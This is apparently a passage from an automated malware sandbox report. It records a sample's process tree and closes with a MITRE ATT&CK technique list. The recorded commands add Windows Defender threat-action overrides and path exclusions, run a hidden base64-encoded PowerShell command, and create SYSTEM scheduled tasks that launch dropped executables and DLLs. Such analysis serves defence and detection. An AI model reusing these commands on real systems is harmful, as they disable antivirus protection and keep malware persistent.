\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:624
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4596
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2588
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2208
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4832
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:5324
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2800
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:232
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3480
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4264
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3880
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5964
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4832
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4596
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gMhkYHzyf" /SC once /ST 12:17:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:2404
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gMhkYHzyf"
  2⤵
  PID:1684
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gMhkYHzyf"
  2⤵
  PID:4048
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 05:34:22 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\LqlkCgD.exe\" XT /wesite_idpvU 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3728
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
  2⤵
  PID:2456

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:5480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3244
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2376

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4576

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:5688

C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\LqlkCgD.exe
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\LqlkCgD.exe XT /wesite_idpvU 385118 /S
1⤵
PID:3744
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
  2⤵
  PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:3568
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:2804
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:4672
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:1428
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:776
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\Szdtvw.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:2496
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\WYeNjkb.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5536
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "qbSDwEgyNYPZlGA"
  2⤵
  PID:4100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
  2⤵
  PID:2572
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\xnMnlrq.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:224
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\raLEFdc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3996
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\HlFuwqG.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5716
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\pRRfyqZ.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:776
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 13:15:45 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\mOzqinNi\pOzIMTs.dll\",#1 /TLsite_idpOw 385118" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:712
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "QhciBzJOokLnyYZub"
  2⤵
  PID:3596
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"
  2⤵
  PID:5324

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\mOzqinNi\pOzIMTs.dll",#1 /TLsite_idpOw 385118
1⤵
PID:3900
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\mOzqinNi\pOzIMTs.dll",#1 /TLsite_idpOw 385118
  2⤵
  PID:4672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "QhciBzJOokLnyYZub"
    3⤵
    PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion